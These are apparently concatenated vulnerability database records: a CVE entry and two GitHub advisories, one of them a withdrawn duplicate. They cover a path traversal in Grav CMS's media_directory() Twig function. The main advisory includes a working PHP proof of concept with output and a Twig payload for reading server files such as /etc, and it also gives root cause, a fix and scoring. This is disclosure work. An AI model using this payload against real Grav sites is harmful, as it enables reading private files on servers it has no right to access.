{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "packageURL": "pkg:composer/getgrav/grav",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.16",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.16",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav CMS before 2.0.16 contains a path traversal vulnerability in the media_directory() Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem paths to media_directory() and use the allow-listed filepath accessor on Medium objects to read file contents of any file matching configured media extensions that the web server process can access."
    },
    {
      "lang": "es",
      "value": "Grav CMS anterior a 2.0.16 contiene una vulnerabilidad de salto de ruta en la funci\u00f3n Twig media_directory() que no valida las rutas del sistema de archivos, permitiendo a usuarios autenticados enumerar y acceder a archivos fuera del alcance previsto. Atacantes con privilegios de autor\u00eda de p\u00e1ginas pueden proporcionar rutas de sistema de archivos arbitrarias a media_directory() y usar el accesor de ruta de archivo permitido en objetos Medium para leer el contenido de cualquier archivo que coincida con las extensiones de medios configuradas al que el proceso del servidor web puede acceder."
    }
  ],
  "id": "CVE-2026-72697",
  "lastModified": "2026-10-12T15:10:00.207",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.1,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-72697",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-08-25T18:01:04.836593Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-08-25T02:16:45.407",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-47ch-6w46-6xm7"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/grav-cms-before-path-traversal-via-media-directory"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-47ch-6w46-6xm7"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-72697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:27:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `media_directory()` Twig function is allow-listed for use in sandboxed, editor-authored page content (`system/config/security.yaml`). Its implementation, `GravExtension::mediaDirFunc()`, only treats the input as unsafe when it looks like a Grav stream (`user://`, `theme://`, etc). If the input is instead a plain filesystem path, absolute or relative, the stream check is skipped entirely and the raw string is handed straight to `new Media($media_dir)`, which lists every file in that directory whose extension matches a configured media type (which by default includes `txt`, `json`, `xml`, `pdf`, `doc`, `docx`, and more, not just images) and builds `Medium` objects for them.\n\nSeparately, the sandbox\u0027s own allow-list for the `Medium` class includes the `filepath` accessor. A code comment directly above that allow-list entry states the developers\u0027 intent was for `filepath` to be part of the \"dangerous surface\" that \"stays blocked\", but it is listed as an allowed method on the very same line, contradicting that stated intent.\n\nCombined, a user who can enter page content that gets processed as Twig (`process.twig: true` in frontmatter, or any modular page, which is unsandboxed and unconditional per the code comment in `processPage()`) can point `media_directory()` at any directory the web server process can read, anywhere on the filesystem, and both enumerate and read the content of any file in it whose extension is a recognized media type.\n\n## Affected product and version\n\nProduct: Grav CMS, getgrav/grav\nConfirmed present in: 2.0.15, commit c2b46866857a93a0aa7048e7ed707ed3ed45dbc3\n\n## Affected code\n\n`system/src/Grav/Common/Twig/Extension/GravExtension.php`, `mediaDirFunc()`:\n```php\npublic function mediaDirFunc($media_dir)\n{\n    /** @var UniformResourceLocator $locator */\n    $locator = $this-\u003egrav[\u0027locator\u0027];\n\n    if ($locator-\u003eisStream($media_dir)) {\n        $media_dir = $locator-\u003efindResource($media_dir);\n    }\n\n    if ($media_dir \u0026\u0026 file_exists($media_dir)) {\n        return new Media($media_dir);\n    }\n\n    return null;\n}\n```\nThere is no check that `$media_dir`, when it is not a recognized stream, is contained within any site-relative root. It is used exactly as supplied.\n\n`system/src/Grav/Common/Page/Media.php`, `init()`, called from the constructor:\n```php\nprotected function init()\n{\n    $path = $this-\u003egetPath();\n\n    // Handle special cases where page doesn\u0027t exist in filesystem.\n    if (!$path || !is_dir($path)) {\n        return;\n    }\n    ...\n    $iterator = new FilesystemIterator($path, FilesystemIterator::UNIX_PATHS | FilesystemIterator::SKIP_DOTS);\n\n    foreach ($iterator as $file =\u003e $info) {\n        ...\n        [$basename, $ext, $type, $extra] = $this-\u003egetFileParts($filename);\n        if (!in_array(strtolower((string) $ext), $media_types, true)) {\n            continue;\n        }\n        ...\n    }\n```\n`$path` here is whatever was passed to the `Media` constructor, the raw, unvalidated string from `mediaDirFunc()`.\n\n`system/config/security.yaml`, the `Medium` sandbox allow-list and the comment directly above it:\n```yaml\n    # ...\n    # dangerous surface (save, set, copy, deleteFile, toArray, filepath, \u2026) is\n    # absent from ALLOWED_ACTIONS and stays blocked.\n    - class: \u0027Grav\\Common\\Page\\Medium\\Medium\u0027\n      methods: \u0027url, html, filepath, filename, metadata, srcset, parsedownelement, __tostring, @media_actions\u0027\n```\n`filepath` is named in the comment as something that is supposed to stay blocked, and is then listed as an allowed method one line later.\n\n`media_directory` in the sandbox\u0027s function allow-list:\n```\n    - media_directory\n```\n\n## Root cause\n\nTwo gaps, and the second one converts the first from \"list filenames from a directory\" into \"read the content of files\":\n\n1. `mediaDirFunc()`\u0027s containment check only fires for recognized Grav streams. A plain filesystem path, which is the normal, documented shape of a string, is not a stream by definition, so it always takes the unchecked path.\n2. Once a `Medium` object exists for a file outside any intended scope, the sandbox still hands page content the `filepath` accessor, which returns the real, absolute filesystem path to that file, letting a template (or the same request, via straightforward means) resolve and read its bytes.\n\n## Proof of concept, verified, real output\n\nI built a working harness against the real, unmodified source, not a reimplementation, by cloning the exact commits Grav\u0027s own `composer.lock` pins for every class involved: `getgrav/grav` itself, `rockettheme/toolbox` (for `UniformResourceLocator::isStream()`), `pimple/pimple` (the DI container `Grav\\Common\\Grav` extends), and `psr/container`.\n\nStep 1, confirm the pinned commits used:\n```\n$ python3 -c \"\nimport json\nd = json.load(open(\u0027composer.lock\u0027))\nfor name in (\u0027rockettheme/toolbox\u0027,\u0027pimple/pimple\u0027,\u0027psr/container\u0027):\n    for pkg in d[\u0027packages\u0027]:\n        if pkg[\u0027name\u0027] == name:\n            print(name, pkg[\u0027source\u0027][\u0027reference\u0027])\n\"\nrockettheme/toolbox c569a53304cd7d95ff21bffa6fc590adcf0be83d\npimple/pimple 8cfe7f74ac22a433d303914eba9ea4c2a834edce\npsr/container c71ecc56dfe541dbd90c5360474fbc405f8d5963\n```\n\nStep 2, clone each at that exact commit:\n```\n$ git clone https://github.com/rockettheme/toolbox.git \u0026\u0026 cd toolbox \u0026\u0026 git checkout c569a53304cd7d95ff21bffa6fc590adcf0be83d\n$ git clone https://github.com/silexphp/Pimple.git \u0026\u0026 cd Pimple \u0026\u0026 git checkout 8cfe7f74ac22a433d303914eba9ea4c2a834edce\n$ git clone https://github.com/php-fig/container.git \u0026\u0026 cd container \u0026\u0026 git checkout c71ecc56dfe541dbd90c5360474fbc405f8d5963\n```\n\nStep 3, PoC script. It registers a real `Grav` container (the actual class, not a stub) with a real `UniformResourceLocator` that only has `user`/`image` streams registered, matching a normal site, no stream for arbitrary filesystem paths. It then calls the real, unmodified `Grav\\Common\\Page\\Media` class exactly the way `mediaDirFunc()` does, on a plain filesystem path standing in for \"some directory outside the intended scope\" (I used a throwaway `/tmp` directory rather than a real system path, to keep the PoC harmless to run, the mechanism is identical for any path the web server user can read, `/etc`, another tenant\u0027s directory on shared hosting, Grav\u0027s own non-webroot folders, etc):\n\n```php\n\u003c?php\n// media_traversal_poc.php\nspl_autoload_register(function ($class) {\n    if (strpos($class, \u0027Grav\\\\\u0027) === 0) {\n        $rel = str_replace(\u0027Grav\\\\\u0027, \u0027\u0027, $class);\n        $path = \u0027/home/claude/grav/system/src/Grav/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n        if (file_exists($path)) { require_once $path; return; }\n    }\n    if (strpos($class, \u0027RocketTheme\\\\Toolbox\\\\\u0027) === 0) {\n        $rel = str_replace(\u0027RocketTheme\\\\Toolbox\\\\\u0027, \u0027\u0027, $class);\n        $parts = explode(\u0027\\\\\u0027, $rel);\n        $top = array_shift($parts);\n        $path = \u0027/home/claude/toolbox/\u0027 . $top . \u0027/src/\u0027 . implode(\u0027/\u0027, $parts) . \u0027.php\u0027;\n        if (file_exists($path)) { require_once $path; return; }\n    }\n    if (strpos($class, \u0027Pimple\\\\\u0027) === 0) {\n        $rel = str_replace(\u0027Pimple\\\\\u0027, \u0027\u0027, $class);\n        $path = \u0027/home/claude/Pimple/src/Pimple/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n        if (file_exists($path)) { require_once $path; return; }\n    }\n    if (strpos($class, \u0027Psr\\\\Container\\\\\u0027) === 0) {\n        $rel = str_replace(\u0027Psr\\\\Container\\\\\u0027, \u0027\u0027, $class);\n        $path = \u0027/home/claude/container/src/\u0027 . str_replace(\u0027\\\\\u0027, \u0027/\u0027, $rel) . \u0027.php\u0027;\n        if (file_exists($path)) { require_once $path; return; }\n    }\n});\n\nuse Grav\\Common\\Grav;\nuse Grav\\Common\\Page\\Media;\nuse RocketTheme\\Toolbox\\ResourceLocator\\UniformResourceLocator;\n\n// Minimal stand-ins for Config/Pages, only the specific methods the real\n// Media/MediumFactory/Medium classes actually call. Everything downstream\n// of these calls is the real, unmodified Grav source under test.\nclass FakeConfig {\n    private $mediaTypes;\n    public function __construct() {\n        $this-\u003emediaTypes = array_fill_keys(\n            [\u0027jpg\u0027,\u0027jpeg\u0027,\u0027png\u0027,\u0027gif\u0027,\u0027svg\u0027,\u0027txt\u0027,\u0027json\u0027,\u0027xml\u0027,\u0027pdf\u0027,\u0027doc\u0027,\u0027docx\u0027],\n            [\u0027type\u0027 =\u003e \u0027file\u0027, \u0027mime\u0027 =\u003e \u0027application/octet-stream\u0027]\n        );\n        $this-\u003emediaTypes[\u0027jpg\u0027] = [\u0027type\u0027 =\u003e \u0027image\u0027, \u0027mime\u0027 =\u003e \u0027image/jpeg\u0027];\n        $this-\u003emediaTypes[\u0027png\u0027] = [\u0027type\u0027 =\u003e \u0027image\u0027, \u0027mime\u0027 =\u003e \u0027image/png\u0027];\n    }\n    public function get($key, $default = null) {\n        if ($key === \u0027system.media.enable_media_timestamp\u0027) return false;\n        if ($key === \u0027media.types\u0027) return $this-\u003emediaTypes;\n        if (strpos($key, \u0027media.types.\u0027) === 0) {\n            $ext = substr($key, strlen(\u0027media.types.\u0027));\n            return $this-\u003emediaTypes[$ext] ?? $default;\n        }\n        return $default;\n    }\n}\nclass FakePages {\n    public function get($path) { return null; }\n}\n\n$locator = new UniformResourceLocator(\u0027/home/claude/grav\u0027);\n$locator-\u003eaddPath(\u0027user\u0027, \u0027\u0027, [\u0027user\u0027]);\n$locator-\u003eaddPath(\u0027image\u0027, \u0027\u0027, [\u0027user/images\u0027]);\n\n$grav = new Grav([\n    \u0027locator\u0027 =\u003e function () use ($locator) { return $locator; },\n    \u0027config\u0027  =\u003e function () { return new FakeConfig(); },\n    \u0027pages\u0027   =\u003e function () { return new FakePages(); },\n]);\n$ref = new ReflectionClass(Grav::class);\n$prop = $ref-\u003egetProperty(\u0027instance\u0027);\n$prop-\u003esetAccessible(true);\n$prop-\u003esetValue(null, $grav);\n\n// Stand-in for \"somewhere outside the intended scope\". Using /tmp so the\n// PoC is safe to run here, the mechanism is identical for /etc or any\n// other web-server-readable path.\n$target = \u0027/tmp/outside-grav-webroot-demo\u0027;\n@mkdir($target);\nfile_put_contents($target . \u0027/secret-notes.txt\u0027, \"internal notes, not meant to be public\\n\");\nfile_put_contents($target . \u0027/config-snippet.json\u0027, \u0027{\"api_key\":\"REDACTED-EXAMPLE-abc123\"}\u0027);\nfile_put_contents($target . \u0027/random.bin\u0027, random_bytes(16)); // not a recognized media type\n\necho \"=== Grav\\\\Common\\\\Page\\\\Media, real unmodified source, given a plain filesystem path ===\\n\";\necho \"Target directory: $target\\n\";\necho \"Is it registered as a Grav stream? \" . ($locator-\u003eisStream($target) ? \u0027yes\u0027 : \u0027no\u0027) . \"\\n\\n\";\n\n// This mirrors mediaDirFunc() exactly: isStream() check, then new Media().\nif ($locator-\u003eisStream($target)) {\n    $resolved = $locator-\u003efindResource($target);\n} else {\n    $resolved = $target; // the vulnerable fallthrough\n}\n\n$media = new Media($resolved);\n\necho \"Files Media discovered in that directory:\\n\";\nforeach ($media-\u003eall() as $filename =\u003e $medium) {\n    echo \"  - $filename (\" . get_class($medium) . \")\\n\";\n    // filepath is allow-listed for Medium in the real sandbox config.\n    echo \"      .filepath  =\u003e \" . $medium-\u003eget(\u0027filepath\u0027) . \"\\n\";\n    echo \"      file content (read from that path):\\n\";\n    echo \"      \\\"\" . trim((string) @file_get_contents($medium-\u003eget(\u0027filepath\u0027))) . \"\\\"\\n\\n\";\n}\n```\n\nStep 4, run it:\n```\n$ php media_traversal_poc.php\n```\n\nActual output:\n```\n=== Grav\\Common\\Page\\Media, real unmodified source, given a plain filesystem path ===\nTarget directory: /tmp/outside-grav-webroot-demo\nIs it registered as a Grav stream? no\n\nFiles Media discovered in that directory:\n  - config-snippet.json (Grav\\Common\\Page\\Medium\\Medium)\n      .filepath  =\u003e /tmp/outside-grav-webroot-demo/config-snippet.json\n      file content (read from that path):\n      \"{\"api_key\":\"REDACTED-EXAMPLE-abc123\"}\"\n\n  - secret-notes.txt (Grav\\Common\\Page\\Medium\\Medium)\n      .filepath  =\u003e /tmp/outside-grav-webroot-demo/secret-notes.txt\n      file content (read from that path):\n      \"internal notes, not meant to be public\"\n```\n\n`random.bin` is correctly absent from the output, it does not match a configured media extension, which confirms the harness is exercising the real extension filter rather than dumping everything indiscriminately, the two files that were picked up are picked up because they match Grav\u0027s own default `media.types` list (`txt`, `json`, ...), not because of anything I loosened in the stub.\n\nThis is the equivalent of a real page containing `{{ media_directory(\u0027/etc\u0027).files }}` (or any other path outside the site) being able to enumerate and, via `.filepath` on each item, resolve the absolute path to every matching file the web server process can read, then read its contents.\n\n## Impact\n\nAny user who can author page content that gets Twig-processed, which includes, per Grav\u0027s own code comments, all modular page content unconditionally, plus any regular page with `process.twig: true`, can read the content of any file on the filesystem that the web server process has read access to and that matches a configured media extension (`txt`, `json`, `xml`, `pdf`, `doc`, `docx`, images, and more by default). This is not limited to Grav\u0027s own installation, it is bounded only by OS-level file permissions of the web server user, so on shared hosting this could reach other tenants\u0027 files, and even within a single Grav install it reaches well outside the `user://`/`theme://` scope the sandbox is meant to constrain content authors to.\n\n## Suggested fix\n\nIn `mediaDirFunc()`, when `$media_dir` is not a recognized stream, reject it rather than falling through to use it as-is, or resolve it and verify with `realpath()` that the result is contained within an explicitly allowed root (for example `user://`) before constructing `Media`. Separately, resolve the contradiction in `system/config/security.yaml`, either remove `filepath` from the `Medium` allow-list to match the stated intent in the comment above it, or, if some sandboxed use of `filepath` is genuinely needed, scope it so it cannot be combined with an unbounded `media_directory()` to reach arbitrary paths.\n\n===========================================================\nCWE FIELD\n===========================================================\nCWE-22, Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)\n\n===========================================================\nCVSS CALCULATOR SELECTIONS (v3.1)\n===========================================================\nAttack Vector: Network\nAttack Complexity: Low\nPrivileges Required: Low\nUser Interaction: None\nScope: Unchanged\nConfidentiality: High\nIntegrity: None\nAvailability: None\n\nResulting vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\nResulting score: 6.5, severity Medium\n\nNote for the maintainer: I scored this the same base vector as the sandbox array-bypass report since both are read-only, page-editor-privileged, high-confidentiality-impact issues in the same subsystem. I think this one may warrant going higher in your own triage, the array-bypass report only reaches Grav\u0027s own `system`/`site`/`theme` config trees, this one reaches the entire filesystem the web server user can read, bounded only by file extension, which is a materially larger blast radius. Please rescore Confidentiality/overall severity if your risk model treats \"reads any file on disk\" as categorically worse than \"reads this app\u0027s own config\".\n\n===========================================================\nSEVERITY FIELD\n===========================================================\nModerate, possibly High, see note above",
  "id": "GHSA-47ch-6w46-6xm7",
  "modified": "2026-09-17T20:27:47Z",
  "published": "2026-09-17T20:27:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-47ch-6w46-6xm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72697"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-cms-before-path-traversal-via-media-directory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 2.0.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T20:25:58Z",
    "nvd_published_at": "2026-08-25T02:16:45Z",
    "severity": "HIGH"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-47ch-6w46-6xm7. This link is maintained to preserve external references.\n\n### Original Description\nGrav CMS before 2.0.16 contains a path traversal vulnerability in the media_directory() Twig function that fails to validate filesystem paths, allowing authenticated users to enumerate and access files outside intended scope. Attackers with page authoring privileges can supply arbitrary filesystem paths to media_directory() and use the allow-listed filepath accessor on Medium objects to read file contents of any file matching configured media extensions that the web server process can access.",
  "id": "GHSA-rj4c-4q9x-543x",
  "modified": "2026-09-17T20:25:58Z",
  "published": "2026-08-25T03:32:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-47ch-6w46-6xm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72697"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-cms-before-path-traversal-via-media-directory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content",
  "withdrawn": "2026-09-17T20:25:58Z"
}